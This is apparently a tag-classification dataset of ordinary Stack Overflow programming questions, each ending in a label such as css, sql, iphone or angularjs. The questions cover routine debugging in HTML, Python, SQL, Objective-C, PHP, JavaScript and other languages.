including index.html in a href  in the urls for my website  i don t want to have index.html. for example  i want example.com/foo instead of example.com/foo/index.html    to accomplish this  i changed all of my navigation <code>href</code> to the following   <pre><code>    &lt;ul&gt;         &lt;li&gt;&lt;a href= ../foo/ &gt;foo&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= ../bar/ &gt;bar&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= ../baz/ &gt;baz&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; </code></pre>   now  this works great on my live site. however  when i try to test my site locally  the urls open up a blank page with the different files listed in the directory. does anybody know why this is a good solution to test locally and also not have index.html appear on my site     the following is what i see when i click on the navigation tab <code>foo</code>. it takes me to this. however  on my live site  i get taken to the correct page  which is www.example.com/foo/    <img src= https://i.stack.imgur.com/ijirn.png  alt= enter image description here >,html
how to fit h2 to iphone-sized devices  i ve got this issue with h2 on iphone-sized devices. the h2 goes off the center despite the code looks good. i can t figure out why it is happening.    <a href= http://i.stack.imgur.com/p42mr.png  rel= nofollow >h2 off center</a>    here s my code:   <pre><code>/* for iphone-sized devices */ @media only screen and (max-device-width: 480px) {  .container { width: auto } body { padding: 0 } h1 { font-size: 1.5em; margin-bottom: 3em; text-align: left  } h2 { font-size: 2em; margin-bottom: 1.5em; text-align: center } h3 { font-size: 1.8em } h6 { font-size: 1em; text-align: left } p {     font-size: 1.2em;     line-height: 1.4em; } </code></pre>   my website is: <a href= http://www.mamufka.com  rel= nofollow >mamufka.com</a>.    would love to hear some tips from you experienced guys!,css
python: recursion depth exceeded error  i reworked the program to get large prime numbers. now it works fine  except i get a large number of red phrases at the end  after all the output is printed. could someone please tell me why      the end is of the output is:   <pre><code>(100000939.0   is prime ) (100000963.0   is prime ) (100000969.0   is prime ) </code></pre>   the error is   <pre><code>traceback (most recent call last):   file  c:/users/marcela/documents/prime numbers to 100   line 48  in &lt;module&gt;     loopfunction()   file  c:/users/marcela/documents/prime numbers to 100   line 35  in loopfunction     loopfunction()   file  c:/users/marcela/documents/prime numbers to 100   line 35  in loopfunction     loopfunction()   file  c:/users/marcela/documents/prime numbers to 100   line 35  in loopfunction     loopfunction() ...(many lines of it  the int ends with:)  file  c:/users/marcela/documents/prime numbers to 100   line 13  in loopfunction     while index &lt;= 200000000.0: runtimeerror: maximum recursion depth exceeded in cmp </code></pre>   here is the script:   <pre><code>from __future__ import division import sys index=100000000.0 checker=2.0    def loopfunction():     global index     global checker     checker=2      while index &lt;= 200000000.0:          if index&gt;=200000001:             sys.exit(1)         while checker&lt;=14473.0:              div = index/checker             roundiv=round(index/checker  0)             if index == 1:                 print (index   is prime )                 checker=2                 index=index+1                 loopfunction()                if checker == index:                 print (index   is prime )                 checker=2                 index=index+1                 loopfunction()             if roundiv==div:                  checker=2                 index=index+1                 loopfunction()                  if checker==14473.0:                  print (index   is prime )                 checker=2                 index=index+1                 loopfunction()              checker = checker +1    loopfunction()                  </code></pre>,python
.net runtime 2.0 error  i keep on getting .net runtime 2.0 errors (reported in the event log) on my test machines  i tend to get these when swapping assemblies out for those with more debugging / diagnostic information (or fixes). an example message:   <pre><code>faulting application myapp.exe  version 1.0.0.66  stamp 4a3851fa  faulting module kernel32.dll  version 5.2.3790.4480  stamp 49c51f0a  debug  0  fault address 0x0000bef7. </code></pre>   my guess is that even though i m careful not to alter the interface  swapping assemblies in this way is probaly something i shouldnt be doing (should i be doing this )    all the same  the instalation / build process for this app is hefty  and its a massive pain to rebuild and reinstall everything when debugging problems (in fact its just not fesable). is there any way to get any more useful information out of these sorts of errors,.net
how is this construct (int) { 1 } called   how is the construct <code>(int) { 1 }</code> called in c  a guess was  anonymous constant   but this didn t show any helpful on google. as a sidenote  you can use this construct to tell ioctl that you want to use a variable with the value of 1: <code>ioctl (...  &amp;(int) { 1 })</code>.,c
getting parsing error unexpected token in javascript code  i am creating a budget app with html css and javascript considering the module structure closures and immediately invoked (iife) principles. i have divide module structure into uicontroller  appcontroller budgetcontroller.    i have a getinput method in ui controller which returns an object with the input values from front end and i am calling this getinput from app controller.but i am getting error under line getinput method .is there any syantax error or i am doing something wrong.    <a href= https://i.stack.imgur.com/whide.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/whide.png  alt= enter image description here ></a>    <a href= https://i.stack.imgur.com/n8vax.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/n8vax.png  alt= enter image description here ></a>    script.js   <pre><code>var budgetcontroller=(function(){     //some code })();  /*--------------------------------------------------------------*/  // ui controller var uicontroller=(function(){     return     {         getinput:function(){             return {                 type: document.queryselector( .add__type ).value                  description: document.queryselector( .add__description ).value                  value: document.queryselector( .add__value ).value             };         }     }; })();  /*--------------------------------------------------------------*/  // app controller var controller=(function(budgetctrl uictrl) {     var ctrladditem=function()     {         var result=uictrl.getinput();         console.log(result);         // get the input data          // add the budget item to budget controller          // add the item to ui controller          // calculate the budget          // display the result      }      // button click event      document.queryselector( .add__btn ).addeventlistener( click  ctrladditem);      //event key event      document.addeventlistener( keypress  function(event)     {         if(event.keycode===13 || event.which ===13)         {             ctrladditem();         }     }); })(budgetcontroller  uicontroller) </code></pre>,javascript
i have latitude and longitude how can i display annotation in the mapview   i have got the latitude and longitude from xml parsing how can i show mapannotation(pin) on the map please help me....,iphone
building a .net 1.1 project using msbuild  the web project we are working on is built against .net 1.1 framework.we would like to automate the build process for this project by using msbuild.however msbuild only targets 2.0 framework. so how can this be done if we like to use msbuild or msbee(this asks us to convert the web project to new version by opening up in visual studio ide) we cannot convert the project to suit to 2.0 framework,asp.net
issue with my where clause: mulitle condition issue  hello all i m having a little bit of an issue in my where statement. below i need to make sure the user has c.options =  ta  but also make sure that it overlooks (not include) c.options =  pt ... below is what i am currently working with...    <em>the c is for coverage</em>   <pre><code> where   c.options =  ta  and c.options not like  %pt%                                               </code></pre>   thanks for all your help! i appreciate it!,sql
iphone app submitting fails  i m attempting to submit my app  and i m getting no record found for the app on itunesconnect... i have added the app on itunesconnect  and have set up all the app id  crs  etc.    why could it be      please help me out...,iphone
input ng-model within ng-repeat  i am repeating a list of tasks that i would like other users to be able to comment on using an input field. i repeat the list with ng-repeat and am trying to send the value of the comment input to the server with ng-model and scope. i am testing by console logging but it shows as undefined. please help!     html:   <pre><code>&lt;div class= taskcontainer &gt;   &lt;div ng-repeat= task in tasklist  class= task &gt;     &lt;div class= postedby &gt;       &lt;h6&gt;{{task.user.username}}&lt;/h6&gt;     &lt;/div&gt;     &lt;h4&gt;{{task.tasktext}}&lt;/h4&gt;     &lt;div class= comments &gt;         &lt;input ng-model= newcomment  type= text  placeholder= comments &gt;         &lt;button ng-click= comment(task.taskid)  type= button  name= button &gt;add&lt;/button&gt;       &lt;h6&gt;{{task.commenttext}}&lt;/h6&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   js controller:   <pre><code>$scope.comment = function(id text){       console.log(`send comment text ${$scope.newcomment}`);       console.log(`task id: ${id}`);     }; </code></pre>   this is the first time i ve tried to do more than display itmes with ng-repeat,angularjs
strange highlight animation occurring for uibutton  i have a iboutletcollection setup that contains 8 uibuttons.  all of the buttons have  shows touch on highlight  property set so they glow white when touched.    when i touch a button i have it set to hidden.  and then when three buttons have been hidden i call a method that enumerates through the iboutletcollection and unhides any hidden buttons.    the weird thing  is that the third button that i touched   when it gets hidden (no matter which of the 8 it is) redisplays with a  slight animation.   it glows white briefly as if it was highlighted     why would just one of them glow white when it is unhidden    here is the code i use to unhide   <pre><code>for (uibutton *stockbutton in stockbuttoncollection) {                    [stockbutton setbackgroundimage:[uiimage imagenamed:@ original.png ] forstate:uicontrolstatenormal];          if (stockbutton.hidden) stockbutton.hidden = false; } </code></pre>,objective-c
interactive image  this community has been tremendous help for me in many respects. first time question (for me)  and it s an easy one. i m working through the iphone sdk learning curve  at a good rate... but every once in a while  i come across a problem that  despite it s simplicity  is easier to ask and work on something else  then to spend another hour on reading.    i have a 2d game where a vehicle is moving around on the surface rotating to face the direction of travel. i ve determined that core animation is my best approach. the vehicle is an image. it s interactive to user input (touch).    am i on the right track  uiview (to act as responder) containing a calayer tree that includes the image (from a file). the current file is a gif. it made it easy to make the frame transparent  leaving only the vehicle image.    from the uiview subclass  how do i load the gif image into a layer     sounds simple  so i thought...    cheers.,iphone
dropdown list wont populate values from sql database  i ve been strugglng with this one problem for a while now. i have an application as:      <pre><code>  &lt;asp:sqldatasource runat= server  id= categoriesdatasource       selectcommand= select [categoryid]  [name]  [userid] from [categories] where ([userid] = @userid) order by [name] &gt;      &lt;selectparameters&gt;          &lt;asp:querystringparameter name= categoryid  querystringfield= id   /&gt;      &lt;/selectparameters&gt;   &lt;/asp:sqldatasource&gt;      pick a category: &amp;nbsp;   &lt;asp:dropdownlist id= categories  runat= server  autopostback= true        datasourceid= categoriesdatasource  datatextfield= name         datavaluefield= categoryid  appenddatabounditems= true &gt;     &lt;asp:listitem selected= true  value=  &gt;-- all categories --&lt;/asp:listitem&gt;  &lt;/asp:dropdownlist&gt;   &lt;asp:sqldatasource id= picturesdatasource  runat= server  connectionstring= &lt;%$ connectionstrings:connectionstring %&gt;              providername= &lt;%$ connectionstrings:connectionstring.providername %&gt;              selectcommand= select pictureid  title  uploadedon  from pictures  where userid = @userid and (categoryid = @categoryid or @categoryid is null) order by uploadedon desc  cancelselectonnullparameter= false &gt;                 &lt;selectparameters&gt;                     &lt;asp:querystringparameter name= userid  querystringfield= id  /&gt;                     &lt;asp:controlparameter controlid= categories  name= categoryid  propertyname= selectedvalue                          type= int32  /&gt;                 &lt;/selectparameters&gt;             &lt;/asp:sqldatasource&gt;             &lt;br /&gt;     &lt;asp:gridview id= gridview1  runat= server  allowpaging= true           allowsorting= true  autogeneratecolumns= false  cellpadding= 4           datakeynames= pictureid  datasourceid= picturesdatasource  forecolor= #333333           gridlines= none &gt;         &lt;alternatingrowstyle backcolor= white  /&gt;         &lt;columns&gt;             &lt;asp:hyperlinkfield datanavigateurlfields= pictureid                   datanavigateurlformatstring= ~/photodetail.aspx id={0}  text= view comments  /&gt;             &lt;asp:boundfield datafield= title  headertext= title  sortexpression= title  /&gt;             &lt;asp:boundfield datafield= uploadedon  headertext= date added                   sortexpression= uploadedon  /&gt;             &lt;asp:imagefield dataimageurlfield= pictureid                   dataimageurlformatstring= ~/uploadedimages/{0}.jpg  headertext= image &gt;                 &lt;controlstyle width= 100px  /&gt;             &lt;/asp:imagefield&gt;         &lt;/columns&gt;         &lt;editrowstyle backcolor= #2461bf  /&gt;         &lt;footerstyle backcolor= #507cd1  font-bold= true  forecolor= white  /&gt;         &lt;headerstyle backcolor= #507cd1  font-bold= true  forecolor= white  /&gt;         &lt;pagerstyle backcolor= #2461bf  forecolor= white  horizontalalign= center  /&gt;         &lt;rowstyle backcolor= #eff3fb  /&gt;         &lt;selectedrowstyle backcolor= #d1ddf1  font-bold= true  forecolor= #333333  /&gt;         &lt;sortedascendingcellstyle backcolor= #f5f7fb  /&gt;         &lt;sortedascendingheaderstyle backcolor= #6d95e1  /&gt;         &lt;sorteddescendingcellstyle backcolor= #e9ebef  /&gt;         &lt;sorteddescendingheaderstyle backcolor= #4870be  /&gt;     &lt;/asp:gridview&gt; </code></pre>   when i  take away the    <pre><code>&lt;selectparameters&gt;     &lt;asp:querystringparameter name= categoryid  querystringfield= id   /&gt; &lt;/selectparameters&gt; </code></pre>   and <code>([userid] = @userid)</code>  the dropdown list control will populate values from the database but when i leave those 2  it won t populate any value from the database.     when i remove  the    <pre><code> &lt;asp:querystringparameter name= categoryid  querystringfield= id   /&gt;      &lt;/selectparameters&gt;  </code></pre>   and leave <code>([userid] = @userid)</code>  i get the error:   <blockquote>    must declare the scalar variable  @userid .   </blockquote>   can somebody please help me out  thanks in advance,asp.net
unique value from table  table:       <pre><code>cat_name / topic     cat1 topic1     cat3 topic1     cat6 topic2     cat4 topic3     cat3 topic3     cat3 topic4  select * from all_cat where cat_name =  cat4  or ... </code></pre>   the result should be:   <pre><code>cat4 topic3 cat3 topic4  </code></pre>   how to select (in mysql) all the topic us form category 4  and even those that belong only to category 3 (example: as topic4  tipoc3 not because he is also belong  and category 4).    i find all the topics from the 4 groups  but the topic is a unit with 3 groups meet do not know,mysql
property  length  not found on object of type  id  <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {      static nsstring *cellidentifier = @ customcell ;      customcell *cell = (customcell *) [tableview dequeuereusablecellwithidentifier:cellidentifier];     if (cell == nil) {         nsarray *toplevelobjects = [[nsbundle mainbundle] loadnibnamed:@ customcell  owner:self options:nil];         for (id currentobject in toplevelobjects){             if ([currentobject iskindofclass:[uitableviewcell class]]){                 cell =  (customcell *) currentobject;                 break;             }         }     }     cell.namelabel.text = [arrareasdata objectatindex:indexpath.row];     cell.designlabel.text = [arrareasdata1 objectatindex:indexpath.row];      if(([arrareasdata2 objectatindex:indexpath.row].length &gt; 0)       {         cell.emaillabel.text = [arrareasdata2 objectatindex:indexpath.row]     }     else     {         cell.emaillabel.text = @  ;     }      cell.weblabel.text = [arrareasdata3 objectatindex:indexpath.row];       return cell; } </code></pre>,iphone
why is header s css not loading correctly on a specific page in ie   the page not working in ie8 is <a href= http://gainntrain.com/shopping/index.php  rel= nofollow >http://gainntrain.com/shopping/index.php</a> it is working chrome and firefox... this page loads from cubecart  but the page i edited to alter the skin <a href= http://gainntrain.com/shopping/skins/kitablue/styletemplates/global/index.tpl  rel= nofollow >http://gainntrain.com/shopping/skins/kitablue/styletemplates/global/index.tpl</a>    that page has the same problem in ie8     the thing i don t understand is that the same header works fine on other pages of the site in ie8   <hr>   changed the <code>&lt;header&gt;</code> and <code>&lt;nav&gt;</code> tags to divs with classes using the styles that the tags had and that seems to be handling it just fine so thanks for the answers!,css
combining xmlserializer and xmlwriter   in addition to a list of objects i am serializing to an xml file using c# s xmlserializer  i would like to store a few more independent elements (mainly strings from textboxes) in the same xml.   <pre><code>    public static void savebehaviors(observablecollection&lt;param&gt; listparams)     {         xmlserializer _paramsserializer = new xmlserializer(listparams.gettype());         string path = environment.getfolderpath(environment.specialfolder.desktop);         path +=  \\test.xml ;         using (textwriter writefilestream = new streamwriter(path))         {             _paramsserializer.serialize(writefilestream  listparams);              using (xmlwriter writer = xmlwriter.create(writefilestream))             {                 writer.writestartelement( foo ); //test entry...                 writer.writeattributestring( bar    some &amp; value );                 writer.writeelementstring( nested    data );                 writer.writeendelement();             }         }     } </code></pre>   however  deserializing  test.xml  results in an error because of the added element. i suppose writing in the serialized xml file is prohibited and should be avoided,c#
is the threadpool shared - .net  if i have a webserver running iis and another application which does a lot of operations using file. class  are the specific threads dedicated to iis and specific amount for other apps,.net
case statement with contains  i wonder if you could help out with this case statement. i don t know if this can be done using a case statement or if a function needs doing.    so what i have is the below data:   <pre><code>group name   |      address      |   contact name   |   group_type mr a haplin     4 fox close          alfred haplin     current tenant mr d yoti       4 fox close          david yoti        former tenant mrs s pox       1 drape ave          shelly pox        current tenant    </code></pre>   so for the above data  i have a current and former tenant in 4 fox close  and just a current tenant in 1 drape ave.    i need some kind of case statement to show this:   <pre><code>group name   |      address      |   contact name   |   group_type     |    case mr a haplin     4 fox close          alfred haplin     current tenant         1 mr d yoti       4 fox close          david yoti        former tenant          1  mrs s pox       1 drape ave          shelly pox        current tenant         2 </code></pre>   so for any addresses that contain a former tenant and current tenant  i need to show a 1  if just shows a current tenant without a former tenant  i need to show a 2.    is there any case statement i can use for this  please  or does a function need to be created,sql
ios issue with multiple files uploading one by one  i have a collection of file urls. i need to upload all files from the list one by one. once a file got uploaded server sends a returnid to save. and need to show progress accordingly.    hence i have tried the following -   <pre><code>- (nsurlsession *)uploadsession {     static nsurlsession *defaultsession = nil;     static dispatch_once_t uploadtoken;     dispatch_once(&amp;uploadtoken  ^{         nsurlsessionconfiguration *configuration = [nsurlsessionconfiguration backgroundsessionconfigurationwithidentifier:@ com.xyz.abc ];         configuration.httpmaximumconnectionsperhost = 10;         defaultsession = [nsurlsession sessionwithconfiguration:configuration delegate:self delegatequeue:nil];     });      return defaultsession; }  -(nsurlsessionuploadtask *)uploadfilewithurl:(nsstring *)fileurl {     nsurl *url = [nsurl urlwithstring: @ ploadableurl ];     nsmutableurlrequest *request = [[nsmutableurlrequest alloc] init];     [request seturl:url];     [request sethttpmethod:@ post ];     [request setvalue:@ application/json  forhttpheaderfield:@ content-type ]; // default     [request setvalue:@ application/json  forhttpheaderfield:@ accept ];     nsstring *base64str = [nsstring stringwithformat:@ %@:%@   kapiaccessusername  kapiaccesspassword];     nsdata *base64data = [base64str datausingencoding:nsutf8stringencoding];     nsstring *base64encoded = [base64data base64encodedstringwithoptions:0];     nsstring *authvalue = [nsstring stringwithformat:@ basic %@   base64encoded];     [request setvalue:authvalue forhttpheaderfield:@ authorization ];      nsstring *boundary = @ ---9999999999 ;     nsstring *contenttype = [nsstring stringwithformat:@ multipart/form-data; boundary=%@  boundary];     [request setvalue:contenttype forhttpheaderfield: @ content-type ]; // over-ridding for multipart/form-data;      /*  body of the post */     nsmutabledata *reqbodydata = [nsmutabledata data];     [reqbodydata appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];     nsstring *str = [nsstring stringwithformat:@ content-disposition: form-data; name=\ data\ ; filename=\ %@\ \r\n   @ filen ]; //  data  is the parameter required     [reqbodydata appenddata:[[nsstring stringwithstring:str] datausingencoding:nsutf8stringencoding]];     [reqbodydata appenddata:[@ content-type: application/octet-stream\r\n\r\n  datausingencoding:nsutf8stringencoding]];     nsdata *uploadabledata = [nsdata datawithcontentsofurl:[nsurl fileurlwithpath:fileurl]];     [reqbodydata appenddata:uploadabledata];     [reqbodydata appenddata:[[nsstring stringwithformat:@ \r\n--%@--\r\n  boundary] datausingencoding:nsutf8stringencoding]];     [request sethttpbody:reqbodydata];     nsstring *postlength = [nsstring stringwithformat:@ %ld   [reqbodydata length]];     [request setvalue:postlength forhttpheaderfield:@ content-length ];     [request setcachepolicy:nsurlrequestuseprotocolcachepolicy];      nsurlsession *session = [self uploadsession];     nsurlsessionuploadtask *datatask = [session uploadtaskwithrequest:request fromfile:nil];     dlog(@ upload taskidentifier ---------------------&gt; %lu   (unsigned long)datatask.taskidentifier);     [datatask resume];     return datatask; }  - (void)initiateupload {     uploadtask = [self uploadfilewithurl:[_fileurlcollections objectatindex:self.index]]; // initially index = 0 }  - (void)datatask:(nsurlsessiondatatask *)datatask didreceivedata:(nsdata *)data {     nslog(@ completetaskidentifier -&gt; %ld   datatask.taskidentifier);      if (data)     {         nserror *error;         nsmutabledictionary *jsondict = [nsmutabledictionary dictionarywithdictionary:[nsjsonserialization jsonobjectwithdata:data options: nsjsonreadingmutablecontainers error:&amp;error]];         if (!_uploadedidcollections)             _uploadedidcollections = [nsmutablearray arraywithcapacity:0];         [_uploadedidcollections addobject:[jsondict valueforkey:@ savedid ]];         self.index++;         if([_fileurlcollections count] &gt; self.index)         {             nslog(@ uploading next file );             [self initiateupload];         }         else         {             nslog(@ uploaded all files );         }     } } </code></pre>   once my file with index 0 is uploaded  server sends me proper returnid  then after saving that  i m trying to upload file with index 1. but its not uploading anymore. don t know what s missing/wrong.    need immediate suggestions    thanks in advance.,ios
getting 404 error after refreshing the angular application in server  removed # from url in angular js using .htacces file .its working properly in local .once we have done hosting the page giving 404 error and along with this we changed config file as allooverride to all.what is the issue please any one help me.,angularjs
pdostatement::execute() expect parameter 1 to be array  string given in  please help me to correct this code. error at line    <pre><code>$stmt-&gt;execute($params = []  $query); </code></pre>   and when i open the file with dreamweaver every  $params=[]  is error.    -databasse.php-   <pre><code>&lt; php   include_once( connection.php ); //my connection is here  class database extends connection{   public function __construct(){      parent::__construct(); }  public function getrow($params = []  $query){     try {         $stmt = $this-&gt;datab-&gt;prepare($query);         $stmt-&gt;execute($params);         return $stmt-&gt;fetch();       } catch (pdoexception $e) {         throw new exception($e-&gt;getmessage());       }  }  public function getrows($query  $params = []){     try {         $stmt = $this-&gt;datab-&gt;prepare($query);         $stmt-&gt;execute($params);         return $stmt-&gt;fetchall();        } catch (pdoexception $e) {         throw new exception($e-&gt;getmessage());       } } </code></pre>   this is half of the source code database.php,php
is there a sql wait cursor   i noticed that in delphi  there is a sql wait cursor where it shows an hourglass with the letters sql underneath it.    is there a similar one available in .net,.net
my jquery is not working <pre><code>&lt;%@ page language= vb  autoeventwireup= false  codefile= default.aspx.vb  inherits= _default  %&gt;  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head runat= server &gt;     &lt;title&gt;untitled page&lt;/title&gt;     &lt;script language= javascript  type= text/javascript &gt;     $(document).ready(function()   {     $( .button1 ).click(function ()     {       $( p ).hide( slow );     });     $( .button2 ).click(function ()     {       $( p ).show( slow );     });   });     &lt;/script&gt;        &lt;/head&gt; &lt;body&gt;     &lt;form id= form1  runat= server &gt;       &lt;input id= button1  type= button  value= button  class= button1 /&gt;     &lt;input id= button2  type= button  value= button  class= button2 /&gt;&lt;h2&gt;welcome to f5 technologies &lt;/h2&gt;   &lt;p&gt;&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbsp f5 technologies is a rapidly developing company  acquiring its position on the business market    our company helps make products       delivery more effective  efficient  and meaningful to our customers  and allow them to take greater       responsibility for their own new products.software is developed by  the most experienced development staffs.   &lt;/p&gt;       &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,asp.net
why ng-change function does not fire in my example  i found some article explaining why ng-change may not fire in a repeat  but i think i tried everything i can do and my ng-change is still not firing.    i made a demo <a href= http://plnkr.co/edit/rnwnoh8mettgvrspj1eu p=preview  rel= nofollow >here</a>   <pre><code>&lt;input type= radio  ng-model= select  name= names   ng-change= $parent.$parent.$parent.noselected(select) &gt; </code></pre>   i included a model and tried various $parent.$parent but still it wasn t firing.     can someone tell me what went wrong with my example,angularjs
listview  single choice in touch screen   goal: have a listview show a list of text strings. the user can select an item by touching it. the selected item is visibly different to those not selected.    in short i want to have a simple scrolling list box that works using trackballs and touch mode.    there are many posts asking for this  but none seem to get an adequate answer. this is such a simple requirement  why is there no article on this     i looked at <a href= http://developer.android.com/resources/tutorials/views/hello-listview.html  rel= nofollow >http://developer.android.com/resources/tutorials/views/hello-listview.html</a> but that won t work in touch mode: the orange background is displayed  something unachievable in touch mode without extreme geek wizadry  for something that is quite frankly what all newbies expect out of the box.    i suspect that the only way to achive a touch mode selectable listbox (listview in google speak)  is to stick radio buttons in there. all of a sudden my little text list view is beccoming a monster.    can anyone explain the simplest way to do a single choice listview that displays the item selected so the user can figure out that it is selected  in touch mode  after fumbling for days  i really am not fussed if it has radio buttons  singing cockatoos  or whatever  so long as it s simple to code.,android
make the first character uppercase in css  is there a way to make the first character uppercase in the a label in css. the html structure is    <pre><code>&lt;a class= m_title  href=  &gt;gorr&lt;/a&gt; &lt;a class= m_title  href=  &gt;trro&lt;/a&gt; &lt;a class= m_title  href=  &gt;krro&lt;/a&gt; &lt;a class= m_title  href=  &gt;yrro&lt;/a&gt; &lt;a class= m_title  href=  &gt;gwwr&lt;/a&gt; </code></pre>,css
on click button is not calling function  for some reason the alert is not being called  can someone please help me debugg this        <pre><code>$(document).ready(function () {      // keep filter hidden     //$( #filter_bar ).hide();      $( #filter_bar ).click(showfilterbar);  });  function showfilterbar(){     alert( got in here );     if ($( #filter_bar ).is( :hidden )){         $( #filter_bar ).show();     }      else     {         $( #filter_bar ).hide();     } } </code></pre>   <a href= http://jsbin.com/imevax/1/edit  rel= nofollow >http://jsbin.com/imevax/1/edit</a>,jquery
codesign failed with exit code 1  i m trying to submit my first app to the app store. when i compile (configuration set as  distribution ) i get the error below:   <blockquote>    codesign   build/distribution-iphoneos/xxxxx.app   cd /users/xxxxxxx/documents/xxxxxx   setenv   ignore_codesign_allocate_radar_7181968   /developer/platforms/iphoneos.platform/developer/usr/bin/codesign_allocate   setenv path    /developer/platforms/iphoneos.platform/developer/usr/bin:/developer/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin    /usr/bin/codesign -f -s  iphone   distribution: xxxxxxxxxx    --resource-rules=/users/xxxxxxxx/documents/legginit/build/distribution-iphoneos/xxxxxxx.app/entitlements.plist   --entitlements /users/xxxxxxxx/documents/xxxxxxx/build/xxxxxx.build/distribution-iphoneos/xxxxxxx.build/xxxxxx.xcent   /users/xxxxxxx/documents/xxxxxx/build/distribution-iphoneos/xxxxxxx.app        /users/xxxxxxx/documents/xxxxxx/build/distribution-iphoneos/xxxxxx.app:   invalid resource selection rule(s)   command /usr/bin/codesign failed with   exit code 1  </blockquote>   i ve double checked the following:    1) code signing identity is set to  any iphone os device  and on the right hand side my distrbution certificate.    2) i ve created entitlements.plist unchecked get-task-allow.    3) bundle identifier matches my distribution provisioning profile.    4) keychain access has two certificates   iphone developer  and  iphone distribution .     there are plenty of threads with people receiving this error  but i ve been looking at them all morning and i don t see anything different from what i have done.    any help is very much appreciated.    stephen,iphone
is there a native php function to compare characters held in an array with a string   i am searchgin for a function in php  or a very lightweight and short/easy way to find out if a set (array) of characters appear in a given array   <pre><code>if(chars_in_string(array( x   d   9    ã¼ )  $anystring) ) do_something() </code></pre>   while x d 9  ã¼ are just as an example ... hmmm maybe i can solve this with regular expressions,php
could anyone please spot the error in this java code of mine <pre><code>{              printheaderline();         system.out.format( %-15s %-55s %15s %n    sl no    product    cost );         printheaderline();        for(int x=0;x&lt;k;x++)       {           totalcash=totalcash+amount[x];           system.out.format( %-15s %-55s %15s %n   (x+1)  itemsbought[x]   $ + amount[x]);       }             if(totalcash&gt;=500&amp;&amp;totalcash&lt;1000)       {           totalcash=totalcash*(95/100);         }       else if(totalcash&gt;=1000&amp;&amp;totalcash&lt;3000)       {       totalcash=totalcash*(90/100);     }       else if(totalcash&gt;=3000)       {       totalcash=totalcash*(85/100);      }     else        totalcash=totalcash+0;       printheaderline();             system.out.format( %-15s %71s %n    grand total     $  + totalcash); </code></pre>   (i keep on getting the output as 0) ik theres nothing wrong with my code before only this problem. could someone tell me where im going wrong,java
how can i create a bigger uitabbaritem   i d like to re-create something similar to instagram s tab bar for iphone  which has a  custom   bigger tabbar item in the middle of the tabbar (see <a href= http://cdn.venturebeat.com/wp-content/uploads/2010/10/instagram-screenshot.jpg  rel= nofollow >http://cdn.venturebeat.com/wp-content/uploads/2010/10/instagram-screenshot.jpg</a>)    i can think of several approaches  but was wondering if anybody has suggestions on an easy way to accomplish this.,iphone
simple addition in javascript  it s simple addition in javascript. but i don t understand why result is 1510 instead of 15+10.   <pre><code>&lt;script&gt; function docalc(){     with (document.calc){     sum1.value = orderin.value+ ordercheck.value     } } &lt;/script&gt; &lt;form method= post  name= calc  enctype= multipart/form-data &gt;      &lt;input checked= checked  value= 0  name= orderin  type= radio  onchange= docalc() &gt;+0     &lt;input value= 15  name= orderin  type= radio  onchange= docalc() &gt;+15     &lt;br&gt;&lt;br&gt;     &lt;input id= ordercheck1  checked= checked  value= 0  name= ordercheck  type= radio  onchange= docalc() &gt;+0     &lt;input id= ordercheck2  value= 10  name= ordercheck  type= radio  onchange= docalc() &gt;+10     &lt;br&gt;&lt;br&gt;     total: &lt;input size= 7  value= 0  name= sum1  readonly= readonly  border= 0 &gt;     &lt;input onclick= docalc()  value= total  name= button  type= button &gt; &lt;/form&gt; </code></pre>,javascript
c++ when iput complete name it only shows the first name and not printing the second name  when i tried to input in the first name and last name in the string it  once i run it  the program only outputs the first name and does not output the second name or word.    here is my code   <pre><code>#include &lt;stdio.h&gt; #include &lt;iostream&gt; #include &lt;string&gt;  using namespace std;  class classone {     public:     void setname(string xname)         {             name = xname;         }         string getname()         {             return name;         }     private:         string name; };  int main() {     string inputname;     cout &lt;&lt;  please input your name:  ;     cin &gt;&gt; inputname;     classone objclassone;     objclassone.setname(inputname);     cout &lt;&lt;  your name is   &lt;&lt; objclassone.getname() &lt;&lt; endl;     return 0; } </code></pre>   once i input michael jordan it only shows michael    i m just a beginner in c++.    thank you in advance!,c++
joining two tables with a condition  i will explain my question by example    i have two tables:    1- scales(id  name  min_grade  max_grade  college_id)    2- college(id  name)    i want to search into the two tables and get all records when scales.name =  name  and college.name= name  (same name) with the following condition  college.id must be exist in the first table(scales.college_id) to get the record from second one.    what is proper query to do that     thanks in advance.,sql
select lines without additional partition and merge lines into one record  i am working on cleaning up a database of contacts. there are several duplicates (triplicates  etc) but there are some records that are unique. i added row_num to the table and would like to write into another table  those contacts that only have a row_num 1 - meaning no duplicates  triplicates  etc. in the example below  it would select jamy and kris  but not carrie.    <blockquote>    rowid_    lastname_       firstname_    address_____        homephone_____       birthdate_          1_____        abbott_____         carrie___       123 main st____    n/a ___________            null<br>   2 _____       abbott_____         carrie___       n/a_______            513-123-4567______    null<br>   3 _____       abbott_____         carrie___       n/a __________           n/a _________            02/12/71<br>   1_____        abbott______         jamy___         456 elm st__     614-123-4567____    11/12/81<br>   1_____        abbott______         kris____         789 cooper dr_  937-123-4567__    12/23/64  </blockquote>   after that  i need to figure out how to merge lines together - which seems impossible given that the records have data in multiple rows. using carrie abbott has an example  ideally i want to clean data so i end with    rowid    lastname      firstname     address        homephone       birthdate 1        abbott        carrier       123 main st    513-123-4567    02/12/71    any help you can provide would be very much appreciated!!,sql
